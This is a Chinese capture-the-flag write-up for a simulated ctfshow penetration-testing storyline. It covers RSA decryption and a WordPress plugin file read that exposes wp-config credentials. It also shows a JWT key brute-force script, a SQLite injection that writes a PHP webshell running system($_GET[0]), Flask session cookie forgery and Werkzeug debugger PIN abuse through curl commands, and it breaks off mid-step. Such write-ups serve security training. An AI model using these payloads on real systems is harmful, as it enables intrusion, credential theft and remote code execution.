本文最后更新于 2025年1月12日 晚上
以下完全为模拟测试环境,如有相似纯属巧合。
第一层
启程
爆破一下密码
ctfshow{654321}
破解加密通讯
图片用zsteg
看一下,有密文
base64解码得到
1 2 3 4 5 6 7 if __name__ == '__main__' : try : import secretMessageResponse except ImportError: import pip pip.main(['install' , 'secretMessageResponse' ]) from secretMessageResponse import printMessage
运行一下得到以下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 请使用组织分配的私钥解密后使用 ---------------------------------------------------------- 2024-12-16gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM= ---------------------------------------------------------- 请使用组织分配的私钥解密后使用 ---------------------------------------------------------- 2024-04-11Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI= ---------------------------------------------------------- 请使用组织分配的私钥解密后使用 ---------------------------------------------------------- 2024-03-05ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA= ----------------------------------------------------------
看着像RSA的内容,show一下内容
找到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 import base64,datetime message = { "inputMessage_20241216" :'''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''' , "inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''' , "inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''' , }def printMessage (): for key, value in message.items(): title = key.replace('inputMessage_' , '' ) print ("\033[1;31m" + "请使用组织分配的私钥解密后使用" + "\033[0m" ) title = datetime.datetime.strptime(title, '%Y%m%d' ).strftime('%Y-%m-%d' ) print ("----------------------------------------------------------" ) print (title) print (value) print ("----------------------------------------------------------" ) print ("\n" )def getPublicKey (): return b''' -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63 TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ 3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t 5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt zWn8oPZfzL346at5DDIwD2kCAwEAAQ== -----END PUBLIC KEY----- ''' def enctryptMessage (message ): import base64 message_bytes = message.encode('utf-8' ) message_base64 = base64.b64encode(message_bytes).decode('utf-8' ) publicKey = getPublicKey() from cryptography.hazmat.backends import default_backend from cryptography.hazmat.primitives import serialization from cryptography.hazmat.primitives.asymmetric import padding from cryptography.hazmat.primitives import hashes public_key = serialization.load_pem_public_key(publicKey, backend=default_backend()) encrypted = public_key.encrypt( message_base64.encode('utf-8' ), padding.OAEP( mgf=padding.MGF1(algorithm=hashes.SHA256()), algorithm=hashes.SHA256(), label=None ) ) encrypted_base64 = base64.b64encode(encrypted).decode('utf-8' ) return encrypted_base64 printMessage()
写个脚本给出了n和e
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 from cryptography.hazmat.backends import default_backendfrom cryptography.hazmat.primitives import serialization pem_key = b''' -----BEGIN PUBLIC KEY----- MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAmziayo9Tddo1FYdrtOsw yjLYJ5frYKEwm4rQTsKU8UcdnnDRgms+ZmStoqlH/qi6x+D1K3fvvioCnGZLFHZw BUqbgT5x+qUmUaVMll9FOT7ZJ05w8n8Ljqa1akzFMU5G7YbCr3vQwN63vwvD9/63 TDbXkJrv1fGl2rHpPwp5OPCUeCB3nIFIRCWHpJU7sHJqIP5vzV8KNJtbxgR+dhsz dg+NhoBDUpxoVN5lzSKr2TMOLFLZaQR9AWOV/aHV8gjTkTLDZfc+XlfhxiDMTQdi UTbk/tynpt+JFrDA8vL5/TOmuxgumqgXZIPGrIUbwloTYyHD/XXmvXu5KE8g3eMK gxNxuEKM5bMTESBK9A7Q2Kj3eNp0Rvb5Aleg7h8/YbQemGelY/o5xpUyHgHjsfNQ 3j/xhdhVCNVaXZF64V/YVpvC9Cq29F7qI+bl6FlN7zSpuHB3QgNS1uXOmjBCsA7y pZoWmdXeaLIO+I3kP48BBSmue4nidJifiK/kSOcZ0iegRXV1hyZ6pYdDE7hM5V5t 5tvayJ31zRQNT2ALAFeCDozVWELHTnphkPkQO+SOPglrVz0S1dXicqRofXWMj7PJ OFkBpWIX0aywMIh1woEAawUs3RM2pfLUNtqUTfodSCmWlwcpGrBWG5NACx7csPFt zWn8oPZfzL346at5DDIwD2kCAwEAAQ== -----END PUBLIC KEY----- ''' public_key = serialization.load_pem_public_key( pem_key, backend=default_backend() ) n = public_key.public_numbers().n e = public_key.public_numbers().eprint ("模数(n):" , n)print ("公钥指数(e):" , e)
题目给的提示是p和q
1 2 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
一个是p一个是q,写个RSA脚本解出私钥
然后再带入解密得到网址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 from Crypto.Cipher import PKCS1_OAEPfrom Crypto.PublicKey import RSAfrom Crypto.Hash import SHA256import base64 e = 65537 p = 31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681 q = 19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657 n = p * q phi = (p - 1 ) * (q - 1 ) d = pow (e, -1 , phi) key = RSA.construct((n, e, d, p, q)) private_key = key.export_key() encrypted_messages = { "inputMessage_20241216" : '''gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=''' , "inputMessage_20240411" : '''Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=''' , "inputMessage_20240305" : '''ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=''' }def decrypt_message (encrypted_base64, private_key ): try : key = RSA.import_key(private_key) cipher = PKCS1_OAEP.new(key, hashAlgo=SHA256.new()) encrypted = base64.b64decode(encrypted_base64) decrypted = cipher.decrypt(encrypted) return base64.b64decode(decrypted).decode('utf-8' ) except Exception as e: return f"Decryption failed: {str (e)} " print ("Decrypted messages:" )print ("-" * 50 )for label, encrypted_message in encrypted_messages.items(): date = label.replace('inputMessage_' , '' ) formatted_date = f"{date[:4 ]} -{date[4 :6 ]} -{date[6 :]} " result = decrypt_message(encrypted_message, private_key) print (f"{formatted_date} :" ) print (result) print ("-" * 50 )
得到
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 -------------------------------------------------- 2024-12-16: Park: 你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】发送人:Dylan -------------------------------------------------- 2024-04-11: Park: 总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职单位网站的数据库用户名密码一致,请尽快修改 发送人:Dylan -------------------------------------------------- 2024-03-05: Park: 【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接 发送人:Dylan --------------------------------------------------
ctfshow{https://task.ctfer.com}
潜入敌营
搜索一下新*县动*保*防*所
找到网址,扫一下发现是wordpress的模板,这里需要了解wp的配置是在wp-config.php
里,
构造?aam-media=wp-config.php
得到db内容(我也不明白参数的意义),得到
1 2 3 4 5 6 7 8 9 10 11 /** The name of the database for WordPress */ define( 'DB_NAME' , 'hsinchug_wp1' ); /** MySQL database username */ define( 'DB_USER' , 'hsinchug_wp1' ); /** MySQL database password */ define( 'DB_PASSWORD' , 'Q.4Vyj8VCiedX1KYU5g05' ); /** MySQL hostname */ define( 'DB_HOST' , 'localhost' );
ctfshow{hsinchug_wp1_Q.4Vyj8VCiedX1KYU5g05}
第二章
秘密潜伏
本关要求 提交dylan的电话号码
进入网站慢慢翻可以找到key,是4a4f7d6e8b5???0c7f
,找一下是有个jwt的
写个脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import jwtimport itertoolsimport string encoded_jwt = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzY2ODc1MDR9.jhAt8Axi7tjwj2uNzlyiDym0Fti66H3REB-hh2-v168" key_prefix = "4a4f7d6e8b5" key_suffix = "0c7f" charset = string.ascii_letters + string.digitsdef brute_force_key (): for comb in itertools.product(charset, repeat=3 ): key = key_prefix + '' .join(comb) + key_suffix try : decoded = jwt.decode(encoded_jwt, key, algorithms=["HS256" ]) print (f"Found key: {key} " ) print (f"Decoded JWT: {decoded} " ) return key except jwt.exceptions.PyJWTError: pass print ("密钥未找到。" ) return None brute_force_key()
得到了key: 4a4f7d6e8b5e3a0c7f
就可以进行伪造
访问getPhone
得到电话号码(为啥是这个啊)
ctfshow{117447685307}
收集敌方身份信息
抓包截取发送Dylan的jwt值刷新进入他的页面
旁边目录也存在api,抓包看看(换jwt)
传值置空可以得到app根目录文件,发现3个敏感文件
测试了一番可以读到根目录的main.py.bak
整理好的代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 from flask import Flask, request, jsonify, session, redirect, url_forimport loggingfrom os.path import basename, join app = Flask(__name__) app.config['SECRET_KEY' ] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5' @app.route('/' , methods=['GET' ] ) def index (): session['user' ] = 'guest' return {'message' : 'log server is running' }def check_session (): if 'user' not in session: return False if session['user' ] != 'admin' : return False return True @app.route('/key' , methods=['GET' ] ) def get_key (): if not check_session(): return {"message" : "not authorized" } else : with open ('/log_server_key.txt' , 'r' ) as f: key = f.read() return {'message' : 'key' , 'key' : key}@app.route('/set_log_option' ) def set_log_option (): if not check_session(): return {"message" : "not authorized" } logName = request.args.get('logName' ) logFile = request.args.get('logFile' ) app_log = logging.getLogger(logName) app_log.addHandler(logging.FileHandler('./log/' + logFile)) app_log.setLevel(logging.INFO) clear_log_file('./log/' + logFile) return {'message' : 'log option set successfully' }@app.route('/get_log_content' ) def get_log_content (): if not check_session(): return {"message" : "not authorized" } logFile = request.args.get('logFile' ) path = join('log' , basename(logFile)) with open (path, 'r' ) as f: content = f.read() return {'message' : 'log content' , 'content' : content}def clear_log_file (file_path ): with open (file_path, 'w' ): pass if __name__ == '__main__' : app.run(debug=True , host='0.0.0.0' , port=8888 )
接着读取init_users.json
文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 { "hsinchug_wp1" : { "username" : "hsinchug_wp1" , "password" : "Q.4Vyj8VCiedX1KYU5g05" } , "dylan" : { "username" : "dylan" , "password" : "8f7a55c6d9a7d9a7" } , "secret_user" : { "username" : "root" , "password" : "7y.(sc#Ac_" } }
得到了root的密码
ctfshow{7y.(sc#Ac_}
横向渗透
这题可以直接登录dylan
的账户了,方便进行之后题目的操作
根据之前的py,先测试http://127.0.0.1:8888
告诉了timeout,说明不对,去看到了有内网ip,爆破一下
整理一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 <!DOCTYPE html lang ="en" > <head > <meta charset ="UTF-8" > <meta name ="viewport" content ="width=device-width, initial-scale=1.0" > <title > Database TEST</title > <script > const DATABASE_SECRET_KEY = '0x8F7C71E8E82E4D1E' ; </script > </head > <body > <h1 > Welcome to Database TEST</h1 > <p > This is a test page for database connection and queries.</p > <form action ="index.php" method ="get" > <label for ="name" > Enter Database username:</label > <input type ="text" id ="name" name ="username" required > <br > <br > <label for ="password" > Enter Database password:</label > <input type ="password" id ="password" name ="password" required > <br > <br > <label for ="dsn" > Enter Database DSN:</label > <input type ="text" id ="dsn" name ="dsn" required > <br > <br > <label for ="query" > Enter TEST Query:</label > <input type ="text" id ="query" name ="query" required > <br > <br > <input type ="submit" value ="Submit" > </form > </body > <html >
ctfshow{0x8F7C71E8E82E4D1E}
第三章
跳岛战术
hint1:&
hint2:sqlite
根据上方的html文件发现是个常见的注入的前端,看index.php,
代码是提交数据库连接的dsn和数据库密码,然后测试sql语句,这里直接getshell,直接参考wp了(晨曦师傅太强了)
1 2 3 4 /?username=1%26password=1%26query=CREATE TABLE users (name TEXT);%26dsn=sqlite:b.php /?username=1%26password=1%26query=INSERT INTO users (name) VALUES ('<?php file_put_contents("4.php","<?php system(\$_GET[0]);?>");?>' );%26dsn=sqlite:b.php /b.php /4.php?0=ls
ctfshow{3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5}
邮箱迷云
得到密文简单分段一下可以得到邮箱
hacker_ctfshow@163.com/Hacker_ctfsh0w
邮箱验证有点麻烦,耐心一点
ctfshow{81192}
第四章
再下一城
本关要求
提交log_server_key.txt内容
前面得到了一个开了8888端口的运行文件,所以继续扫描
得到了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 http://172.2.224.6:8888 { "message": "log server is running" } request User-Agent: python-requests/2.31.0 Accept-Encoding: gzip, deflate Accept: */* Connection: keep-alive response Server: Werkzeug/2.2.2 Python/3.12.8 Date: Sun, 12 Jan 2025 06:53:11 GMT Content-Type: application/json Content-Length: 41 Vary: Cookie Set-Cookie: session=eyJ1c2VyIjoiZ3Vlc3QifQ.Z4Nm1w.6V2Hm3s0rLEEY8Jo9XlHgri2tDE; HttpOnly; Path=/ Connection: close
明显就是python运行的,看一下cookie,需要伪造,前面给的密钥3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5
1 python flask_session_cookie_manager3.py decode -c eyJ1c2VyIjoiZ3Vlc3QifQ.Z4Nm1w.6 V2Hm3s0rLEEY8Jo9XlHgri2tDE -s 3 f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5
1 python flask_session_cookie_manager3.py encode -s 3 f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5 -t "{'user': 'admin'}"
携带cookie访问 /key
路由
1 curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/key"
ctfshow{4f5d1d5d-1d5d-1d5d1d5d1d5d}
顺藤摸瓜
本关要求
提交flask所在服务器的/etc/passwd 文件最后一行内容
回溯一下main.py的内容
日志放在set_log_option
,需要执行?logName=werkzeug%26logFile=main.log
(flask是基于werkzeug开发的)
1 curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/set_log_option%3flogName=werkzeug%2526logFile=main.log"
然后获取console的页面key
1 curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/console"
LiNs0Eo5XUIZLh2wyOqb
,先构造
1 curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/set_log_option?__debugger__=yes%2526cmd=printpin%2526f=console.png%2526s=LiNs0Eo5XUIZLh2wyOqb"
1 curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/get_log_content?logFile=main.log"
105-923-412
然后输入pin码
1 curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z4Np5g.oyk-hACYrzVUJo_4y2uZXH37qDc" "http://172.2.224.6:8888/set_log_option?__debugger__=yes%2526cmd=pinauth%2526pin=105-923-412%2526s=LiNs0Eo5XUIZLh2wyOqb"
换一种写法
